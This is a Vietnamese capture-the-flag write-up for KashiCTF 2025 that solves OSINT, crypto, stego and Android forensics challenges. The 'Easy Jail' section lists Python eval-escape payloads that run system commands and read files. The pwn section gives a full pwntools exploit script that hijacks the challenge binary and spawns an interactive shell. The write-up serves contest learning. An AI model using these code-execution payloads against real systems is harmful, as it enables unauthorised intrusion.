# Kashi CTF 2025 ![image](https://hackmd.io/_uploads/r1bkYsuqkl.png) --- ## crypto ### 1. Lost Frequencies ![image](https://hackmd.io/_uploads/S10NFou9ke.png) ![image](https://hackmd.io/_uploads/Hynatouqkx.png) > Flag: KashiCTF{OHNOBINARYMORSE} --- ## osint ### 1. Who am I ?? ![image](https://hackmd.io/_uploads/S1p2d2_5Je.png) Bài cho ảnh: ![image](https://hackmd.io/_uploads/rkRJFn_9Jg.png) Hình ảnh về một con đường với các áp phích chính trị, đằng sau là tòa nhà văn phòng có tên DUNA HOUSE, cùng với yêu cầu tìm ra chính trị gia mà con đường này được đặt theo tên. Mình bắt đầu với DUNA HOUSE thì biết được là chuỗi công ty bất động sản có chi nhánh trên khắp Hungary. Tra Google Maps, ta tìm kiếm các chi nhánh của DUNA HOUSE ở Budapest và nhận thấy rằng vị trí trong ảnh trùng với con đường Bajcsy-Zsilinszky út. Tiếp tục GG mình có được Endre Bajcsy-Zsilinszky, một chính trị gia Hungary nổi tiếng với lập trường chống phát xít trong Thế chiến thứ hai. Ông đã bị hành quyết vào năm 1944 do chống lại chính quyền thân phát xít của Hungary. > Flag: KashiCTF{Endre_Bajcsy_Zsilinszky} --- ### 2. Old Diner ![image](https://hackmd.io/_uploads/ryGWs3O5yx.png) Các từ khóa cần lưu ý: > Greek omlette > american experience > served ice cream with coke Từ những dữ kiện trên, mình bắt đầu tìm kiếm với từ khóa `diner that served ice cream with coke, Greek omlette`: ![image](https://hackmd.io/_uploads/S19V2nuqyg.png) Có được 1 danh sách các cửa hàng thỏa mãn yêu cầu, kiểm tra qua 1 số cửa hàng, mình thấy được có cửa hàng `Lexington Candy Shop` là 1 cửa hàng lâu đời, vì đề có nói đến việc trải nghiệm rất "Mỹ", nên có thể tạm khẳng định là các cửa hàng có thâm niên lâu năm: ![image](https://hackmd.io/_uploads/B1iJan_5yl.png) Tuy nhiên thì đến phần giá cả thì mình có tra cả menu của quán, cả online và tại quán, thế nhưng khi submit thì kết quả vẫn bị sai, mình có nghĩ đến việc hóa đơn sẽ tính cả phí tips hay VAT, nma không đúng, như vậy có nghĩa là người bạn này ngoài món Greek omelette ra vẫn có cả các món khác, mình bắt đầu tìm các review (thói quen khi làm các bài osint), thì phát hiện được review thú vị ở trang này: > https://www.tripadvisor.com/ShowUserReviews-g60763-d522599-r737610550-Lexington_Candy_Shop-New_York_City_New_York.html > ![image](https://hackmd.io/_uploads/B1TM03uq1l.png) Bình luận có đề cập đến từ khóa mình note ở trên, tiếp tục xem phần ảnh: >https://www.tripadvisor.com/Restaurant_Review-g60763-d522599-Reviews-or15-Lexington_Candy_Shop-New_York_City_New_York.html#/media-rr/522599/445152222:p/?albumid=101&type=0&category=101 >![image](https://hackmd.io/_uploads/HyzBAnuqye.png) Như vậy đó chính là hóa đơn mà người bạn đó cần thanh toán, kết hợp lại mình có flag: > KashiCTF{Lexington_Candy_Shop_41.65} --- ### 3. Kings ![image](https://hackmd.io/_uploads/ByK50ndckg.png) Bài cho ảnh: ![image](https://hackmd.io/_uploads/r1J2C3_9Jx.png) Tuy nhiên mô tả bài này rất lạ, mình có dùng GG dịch nhưng vẫn không thể hình dung được ngụ ý là gì, hỏi GPT thì không hiểu sao nó hiểu được: ![image](https://hackmd.io/_uploads/HyrCxaOqkl.png) Sau một vài lần hỏi bị nó phân tích sai thì mình cũng xác định được nó ở `State Hermitage Museum in Saint Petersburg, Russia`, tuy nhiên thì do tọa độ yêu cầu 4 chữ số sau dấu , nên bước tiếp theo là bruteforce các giá trị thuộc bảo tàng đó (hơi guessy): ![image](https://hackmd.io/_uploads/rkKgM6_9ke.png) > Flag: KashiCTF{59.9399_30.3149} --- ## misc ### 1. Easy Jail ![image](https://hackmd.io/_uploads/Byywmp_51g.png) Bài cho file src: ```python= #!/usr/bin/env python3 print(" _ _ _ ") print(" | | | | | | ") print(" ___ __ _| | ___ _ _| | __ _| |_ ___ _ __ ") print(" / __/ _` | |/ __| | | | |/ _` | __/ _ \| '__|") print("| (_| (_| | | (__| |_| | | (_| | || (_) | | ") print(" \___\__,_|_|\___|\__,_|_|\__,_|\__\___/|_| ") def calc(op): try : res = eval(op) except : return print("Wrong operation") return print(f"{op} --> {res}") def main(): while True : inp = input(">> ") calc(inp) if __name__ == '__main__': main() ``` Đây là một bài Python Jail dạng calculator (máy tính), trong đó chương trình cho phép người dùng nhập biểu thức và tính toán kết quả bằng eval. Tuy nhiên, nếu không được xử lý cẩn thận, eval có thể bị lợi dụng để thực thi lệnh tùy ý. >Hàm eval(op) thực thi chuỗi op được nhập từ người dùng. Không có bất kỳ cơ chế lọc hay hạn chế ký tự nào. Điều này cho phép thực thi mã Python tùy ý nếu biết cách vượt qua. Mục tiêu Chạy được lệnh hệ thống hoặc đọc file chứa flag. Thường trong CTF, flag sẽ nằm trong file như flag.txt hoặc đường dẫn tương tự. Ý tưởng khai thác Các hàm tích hợp sẵn như __import__('os').system('ls') để liệt kê file. Dùng open('flag.txt').read() để đọc flag. Dùng các thuộc tính ẩn như ().__class__.__bases__[0].__subclasses__() để tìm đối tượng hỗ trợ thực thi lệnh. ![image](https://hackmd.io/_uploads/ryRXVTd5kx.png) > Flag: KashiCTF{3V4L_41NT_54F3_W8GZ7p5M} --- ### 2. SNOWy Evening ![image](https://hackmd.io/_uploads/HJRD4pO5ye.png) Đọc tên bài và mô tả biết sử dụng tool nào luôn: ```bash= stegsnow -p Aakash -C poemm.txt ``` ![image](https://hackmd.io/_uploads/ryS3NaOqkg.png) Truy cập link có được: ![image](https://hackmd.io/_uploads/BJybH6Oqyl.png) ```bash= OOOMoOMoOMoOMoOMoOMoOMoOMoOMMMmoOMMMMMMmoOMMMMOOMOomOoMoOmoOmoomOo MMMmoOMMMMMMmoOMMMMOOMOomOoMoOmoOmoomOoMMMmoOMMMMMMmoOMMMMOOMOomOo MoOmoOmooOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoO MoOMoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOo moomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoomOoOOOmoOOOOmOomOo MMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomOo mOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoomOoOOOmoOOOO mOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOo moomoOMoOMoOMoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOo moOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoO MoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomoOMoO MoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOomOoMMM moOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOo MMMmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOo mOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoo mOomOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoOMoO MoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomoOMoO MoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOO MOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoO MoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOO MOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomOomOomOoMMMmoO moOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOo mOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoo moOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoo mOomOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoOMoO MoOMoOMoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoO mOomoomoOMoOMoOMoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOO MOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomOomOomOoMMMmoO moOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOo MMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomOo mOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoomOoOOOmoOOOOmOo mOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoo mOomOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoomOoOOO moOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoO MoOmOomoomOomOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoo mOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOomOoMMMmoOmoOmoO MMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoO MoOMoomOoOOOmoOOOOmOomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomOomOomOo MMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOO mOomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomOomOomOoMMMmoOmoOmoOMMMMOO MOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOomOoMMM moOmoOMMMMOOMOomoOMoOmOomoomOomOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOo moomoOMoOMoOMoOMoomOoOOOmoOOOOmOomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOo moomOomOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoomOo OOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOo moOMoOmOomoomoOMoOMoOMoomOoOOOmoOOOOmOomOomOoMMMmoOmoOMMMMOOMOomoO MoOmOomoomOomOomOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoO MoOMoomOoOOOmoOOOOmOomOoMMMmoOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoO MMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoOMoomOoOOOmoOOOOmOomOoMMM moOMMMMOOMOomoOMoOmOomoomOomOoMMMmoOmoOMMMMOOMOomoOMoOmOomoomOomOo mOoMMMmoOmoOmoOMMMMOOMOomoOMoOmOomoomoOMoOMoOMoOMoOMoOMoOMoOMoOMoO MoOMoOMoOMoOMoomOo ``` Decode: ![image](https://hackmd.io/_uploads/HJkEHpOqyl.png) > Flag: KashiCTF{Love_Hurts_5734b5f} --- ### 3. Self Destruct ![image](https://hackmd.io/_uploads/r1PwraO9kl.png) Bài cho file `.vdi`, có 2 hướng giải quyết: + Nếu có máy ảo VB, ta có thể chạy trực tiếp file đó vào, flag bị chia thành nhiều phần, chỉ việc `grep -ir "part"` là sẽ có hết. + Trường hợp không có máy ảo VB, ra sử dụng FTK, tìm chay các phần. > Flag: KashiCTF{rm_rf_no_preserve_root_Am_1_Right??_No_Err0rs_4ll0wed_Th0} --- ### 4. Playing with numbers ![image](https://hackmd.io/_uploads/rJlfU6Ocyl.png) ```bash= Decoding Matrix: [-103.08333333 -131.25 -81.41666667 -91.58333333 -25.25 -63.5 -60.33333333 -12.75 -151.08333333] [ -40.5 -52.5 -34.5 -36.5 -10.5 -28. -25. -4.5 -62.5 ] [ 42.58333333 54.75 34.91666667 39.08333333 11.75 26.5 26.33333333 7.25 63.58333333] Array: [2 4 -1 3 -6 1 8 4 -1] ``` Script Solve: ```python= import numpy as np # Input matrix X X = np.array([ [-103.08333333, -40.5, 42.58333333], [-131.25, -52.5, 54.75], [-81.41666667, -34.5, 34.91666667], [-91.58333333, -36.5, 39.08333333], [-25.25, -10.5, 11.75], [-63.5, -28.0, 26.5], [-60.33333333, -25.0, 26.33333333], [-12.75, -4.5, 7.25], [-151.08333333, -62.5, 63.58333333] ]) # Alphabet string to map numbers to letters letters = 'abcdefghijklmnopqrstuvwxyz' # Input matrix Y Y = np.array([ [2, 4, -1], [3, -6, 1], [8, 4, -1] ]) # Matrix multiplication result = np.dot(X, Y) # Print corresponding letters for row in result: for value in row: print(letters[(round(value) - 1) % 26], end='') ``` > Flag: KashiCTF{matrixmultiplicationiseasyy} --- ## pwn ### 1. leap_of_faith ![image](https://hackmd.io/_uploads/S1NiUpdcJx.png) Script Solve: ```python= #!/usr/bin/python3 from pwn import * from time import sleep context.log_level='debug' exe = ELF('chall', checksec=False) context.binary = exe info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) sln = lambda msg, num: sla(msg, str(num).encode()) sn = lambda msg, num: sa(msg, str(num).encode()) r = lambda nbytes: p.recv(nbytes) ru = lambda data: p.recvuntil(data) bin = lambda : next(libc.search(b'/bin/sh')) if args.REMOTE: p = remote('kashictf.iitbhucybersec.in',xxxx) else: p = process(exe.path) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*0x0000000000401293 c ''') GDB() sla(b': ',b'40125e') sla(b': ',b'40125e') sla(b': ',b'40125e') sla(b': ',b'40125e') sla(b': ',b'40125e') sla(b': ',b'40125e') sla(b': ',b'40125e') sla(b': ',b'40125e') sla(b': ',b'40125e') sla(b': ',b'40125e') sla(b': ',b'40125e') sla(b': ',b'40125e') sla(b': ',b'40125e') sla(b': ',b'4011BA') p.interactive() ``` > Flag: KashiCTF{m4r10_15_fu_w17H_C_K9Eknfil} --- ## forensics ### 1. Memories Bring Back ![image](https://hackmd.io/_uploads/HkzTuaOcJg.png) Bài cho file `.vhd`: >File VHD (Virtual Hard Disk) là một định dạng tệp được sử dụng để mô phỏng một ổ đĩa cứng vật lý. Nó được phát triển bởi Microsoft và thường được dùng trong các môi trường ảo hóa như Microsoft Hyper-V, VirtualBox hoặc VMware. Mở file VHD như thế nào? Windows: Chuột phải vào “This PC” → Quản lý ổ đĩa (Disk Management) → Chọn “Attach VHD”. Linux: Sử dụng lệnh mount hoặc qemu-nbd để gắn file VHD. Phần mềm khác: VirtualBox, 7-Zip (chỉ để trích xuất dữ liệu). Mình mở bình thường thì có được folder chứa các file ảnh và tài liệu, ban đầu có toàn ảnh jpg nhưng chỉ có 1 ảnh png, mình phân tích ra thì thấy có nhúng file âm thanh morse ở cuối, thế nhưng decode thì chả có nghĩa gì, khả năng là hướng mà author làm cho người chơi đi lệch: ![image](https://hackmd.io/_uploads/Hk9utpdqyl.png) Sau 1 hồi kiểm tra thì mình không thấy gì hơn, mở cmd lên và `dir /r` hiển thị danh sách các tệp và thư mục trong thư mục hiện tại kèm theo thông tin về các Alternate Data Streams (ADS) nếu có và phát hiện 1 số file chứa dữ liệu: ![image](https://hackmd.io/_uploads/SyRAF6_c1l.png) > Alternate Data Streams (ADS) là gì? ADS là một tính năng của hệ thống tệp NTFS cho phép tệp hoặc thư mục chứa nhiều luồng dữ liệu. Nó thường bị lợi dụng để ẩn dữ liệu mà không làm thay đổi kích thước hiển thị của tệp trong Windows Explorer. đọc hết các tệp đính kèm là có flag: ![image](https://hackmd.io/_uploads/BJrQ96u9ye.png) > Flag: KashiCTF{DF1R_g03555_Brrrr} --- ### 2. Corruption ![image](https://hackmd.io/_uploads/B134_tF51e.png) Bài này cũng có 2 cách làm, nếu không có linux thì bỏ vào ftk và ctrl+f thì sẽ thấy được flag: ![image](https://hackmd.io/_uploads/SkJh_Yt91e.png) Còn với linux cũng chỉ cần strings grep: > Flag: KashiCTF{FSCK_mE_B1T_by_b1t_Byt3_by_byT3} --- ### 3. Restaurant ![image](https://hackmd.io/_uploads/SJOeFYt5ke.png) Bài cho 1 ảnh jpg, thường cuối ảnh jpg kết thúc sẽ là 2 byte `ff d9`, thế nhưng ảnh này có 1 số byte dư, tra 1 lúc thì mình phát hiện đây là dạng bacon cipher: > https://gchq.github.io/CyberChef/#recipe=Bacon_Cipher_Decode('Standard%20(I%3DJ%20and%20U%3DV)','A/B',false)&input=QkEgQUIgQUEgQUIgQkIgQUEgQkEgQUIgQUIgQkEgQkEgQkEgQUEgQUIgQUEgQkEgQUEgQUEgQUIgQUEgQkEgQUEgQUEgQUIgQUEgQUEgQUEgQUEgQkEgQkEgQUIgQUIgQUEgQkEgQkEgQUIgQUIgQUIgQUIgQkEgQUEgQUIgQUEgQkIgQUIgQUIgQkEgQkEgQkEgQUIgQUIgQUEgQUEgQkIgQUEgQUEgQkIgQTA ![image](https://hackmd.io/_uploads/H1f5tYFqkx.png) > Flag: KashiCTF{THEYWEREREALLLLYCOOKING} --- ### 4. Look at Me ![image](https://hackmd.io/_uploads/BJoaFYY91e.png) Tiếp tục là 1 ảnh jpg, mình thử đủ mọi tool đã biết thế nhưng không có tác dụng gì, nhưng sau khi đọc lại đề thì có thể thấy được là đề yêu cầu nhìn vào ảnh, dùng lens tra thử thì biết được ảnh là 1 tool: ![image](https://hackmd.io/_uploads/B1zh9tY9kx.png) > FLag: KashiCTF{K33p_1t_re4l} --- ### 5. Stego Gambit ![image](https://hackmd.io/_uploads/B1-estFqJl.png) Bài cho 1 ảnh thế cờ vua, strings thì thấy được nhiệm vụ của ta là phải xác định được hướng đi đúng làm key để lấy được flag, sau 1 hồi hỏi AI mãi không được thì mình chuyển qua osint và ai ngờ gặp được: > https://www.reddit.com/r/chess/comments/zvf21z/white_to_move_mate_in_2/ > ![image](https://hackmd.io/_uploads/SJm5iYY9ke.png) Có luôn key tốt nhất: ` Bh1Kxa2_Qg2#` ![image](https://hackmd.io/_uploads/SJgV83tFqyx.png) > Flag: KashiCTF{573g0_g4m617_4cc3p73d} --- ### 6. Do Not Redeem #1 ![image](https://hackmd.io/_uploads/SJLTnKYqye.png) > Mirrors: https://gofile.io/d/edmDCj https://storage.googleapis.com/chall-storage/kitler's-phone.tar.gz [GDrive](https://drive.google.com/file/d/17FPKoDcDBKuRT5-lz13Lw-s3VjNDX5e0/view) https://limewire.com/d/10d200d2-f55c-446e-9f2b-82bb81f38a84#w-sotKaYWiawMRljM_R78scaItljuNBK88sz90NWpZU ```bash= 509 git clone https://github.com/savsch/chall.git 510 cd chall 511 ls 512 git lfs install\ngit lfs pull 513 sudo apt update && sudo apt install git-lfs -y\n 514 git lfs install\ngit lfs pull 515 mkdir extracted\ncat kitler\'s-phone.tgz-part* | tar -xzf - -C extracted ``` Bài cho file hệ thống từ thiết bị android, Ta cần tìm OTP cùng timestamp khi Kitler nhận được OTP, để kiếm được các thông tin đó, mình bắt đầu với folder data: ```bash= ┌──(kali㉿kali)-[~/Desktop/chall/extracted] └─$ ls -a . acct bootstrap-apex data init.environ.rc metadata oem storage system_dlkm vendor .. apex cache data_mirror linkerconfig odm product system system_ext vendor_dlkm ``` > OTP thường được gửi qua SMS hoặc email, vì vậy nên kiểm tra dữ liệu trong data/data/com.android.providers.telephony/databases/mmssms.db (nếu có). ```bash= ──(kali㉿kali)-[~/Desktop/chall/extracted] └─$ find data -name "mmssms.db" data/data/com.android.providers.telephony/databases/mmssms.db data/user_de/0/com.android.providers.telephony/databases/mmssms.db data/user/0/com.android.providers.telephony/databases/mmssms.db ``` Có 3 file `.db`, mở file đầu ta có được: ```bash= 1 57575022 1740251608654 1740251606000 0 1 -1 1 0 839216 is your Amazon OTP. Don't share it with anyone. ``` Vậy có thể thấy được OTP: 839216 còn Timestamp: Cột thứ 4 là 1740251608654. > Flag: KashiCTF{839216_1740251608654} --- ### 7. Do Not Redeem #2 ![image](https://hackmd.io/_uploads/S1jgxcKcye.png) Để xác định gói ứng dụng (package name) mà kẻ lừa đảo sử dụng để tấn công Kitler, cần kiểm tra các log hệ thống hoặc thông tin từ các file liên quan trong thư mục data hoặc system. Bài này nếu tìm chay sẽ hơi khó, mình sử dụng tool [ALEAPP](https://github.com/abrignoni/ALEAPP): ```bash= git clone https://github.com/abrignoni/ALEAPP.git cd ALEAPP pip3 install -r requirements.txt ``` ```bash= cd ~/Desktop/chall/ git clone https://github.com/abrignoni/ALEAPP.git cd ALEAPP python3 -m venv venv # Tạo môi trường ảo source venv/bin/activate # Kích hoạt môi trường ảo pip install -r requirements.txt ``` Sau khi chạy, ALEAPP sẽ xuất ra các báo cáo HTML hoặc CSV trong thư mục output/. Mở file báo cáo và tìm phần Installed Packages: Tuy nhiên thì ở report packages lại không tìm được package khả nghi nào, mình chuyển sang file report khác và thấy được: ![image](https://hackmd.io/_uploads/HJNVd5Kckl.png) App name là `NetherGames Vouchers` nhưng package lại là `com.google.calendar.android`, submit và nó đúng: > Flag: KashiCTF{com.google.calendar.android} --- ### 8. Do Not Redeem #3 ![image](https://hackmd.io/_uploads/r142a5Ycye.png) Tiếp tục công việc tìm ra user và đường link mà tên lừa đảo đã gửi cho nạn nhân, vấn đề là nạn nhân đã gặp rất nhiều người trên nền tảng nào đó, nếu đã kiểm tra sơ qua thì thì có thể thấy được ta có discord và facebook, mình bắt đầu với discord trước: `chall kashi/ALEAPP/extracted/data/data/com.discord/cache/http-cache/` ![image](https://hackmd.io/_uploads/BJ2yJe7iJx.png) Nhìn ở đây có thể thấy 1 số file gzip nhưng bị thay đổi đuôi thành 0 hoặc 1, viết script để lọc ra: ```python= import gzip import shutil import os folder_path = "/home/kali/Desktop/http-cache" # Thư mục hiện tại, có thể thay đổi đường dẫn def is_gzip_file(filepath): """ Kiểm tra file có phải GZIP không bằng cách đọc 2 byte đầu tiên """ with open(filepath, 'rb') as f: magic_number = f.read(2) return magic_number == b'\x1f\x8b' # Header của GZIP for filename in os.listdir(folder_path): filepath = os.path.join(folder_path, filename) if os.path.isfile(filepath) and is_gzip_file(filepath): output_filepath = os.path.splitext(filepath)[0] # Xóa phần mở rộng (nếu có) with gzip.open(filepath, 'rb') as f_in: with open(output_filepath, 'wb') as f_out: shutil.copyfileobj(f_in, f_out) os.remove(filepath) # Xóa file nén sau khi giải nén print(f"Giải nén: {filename} -> {output_filepath}") print("Hoàn thành!") ``` ```python= import os import shutil source_folder = "/home/kali/Desktop/http-cache" # Thư mục chứa file đã giải nén destination_folder = "/home/kali/Desktop/gunzipfiles" # Thư mục đích # Danh sách file cần di chuyển (không có đường dẫn) files_to_move = [ "c56214a20dd6815bd3f6dbcbafb099b6", "eabe421493101636f62d5d8645105801", "e0842339e02e89048ddeb2ecaa344087", "fa533ac5ead9645bea9bee90e0a9c09c", "c0dcba6570747a7c665c2ec31458f1de", "b8675f0120ed57c7b025c5d4122cabe5", "73d0cf0702b2769b6a712c56d5815217", "930ed9596cfe2fc6ba0c825f5471e597", "3d2ef0804e3485e8e61ca3f5f9765430", "4a6db63d679905f7354898b4d7726437", "86f85c088f4003bfea42936412b096ef", "cd2c8b2925a04c5d54862abd3f01a34e", "8a9b1bff7596c8241769132d5c3d4395", "9ce7d66581c66ee78baf3a5af76526d6", "47a09b04c3a178630ab108ebfc270bcf", "ff7fd84893e4e983566ad0c9cfb6b361", "6626b67b56009d3432759659b707f8ad", "116799f7d931e88514d4e5545b05e0ea", "594a2e1ef672e0e658619477b170f0bc", "921c05ead4be00b7f6bd288c77b699cb", "70689a982bc5034567530df41f755ac8", "fab0fcb1e3ccc3ae74fefb6cfa21b79c", "42b1fce53aa9609fb137f9378bdeb394", "0a66f4d6c75df6360cf73b099cce2819", "0d671db98b6474d72ac28ec58c4956c3" ] # Tạo thư mục đích nếu chưa tồn tại os.makedirs(destination_folder, exist_ok=True) # Di chuyển file trong danh sách for filename in files_to_move: src_path = os.path.join(source_folder, filename) dst_path = os.path.join(destination_folder, filename) if os.path.exists(src_path): # Kiểm tra file có tồn tại không shutil.move(src_path, dst_path) print(f"Đã di chuyển: {src_path} -> {dst_path}") else: print(f"LỖI: File không tồn tại - {src_path}") print(f"\nHoàn thành! Tất cả file đã được di chuyển vào: {destination_folder}") ``` Kết quả sau khi lọc file và giải nén các file đó ra: ![image](https://hackmd.io/_uploads/HkNZge7iyl.png) Còn lại thì chỉ cần strings grep: ![image](https://hackmd.io/_uploads/S1Osegmjkx.png) KashiCTF{savsch_https://we.tl/t-Ku8Le7js} --- ### 9. Do Not Redeem #4 ![image](https://hackmd.io/_uploads/BygyC5Y5kx.png) --- ### 10. Do Not Redeem #5 (rev) ![image](https://hackmd.io/_uploads/r16gC5Ycye.png)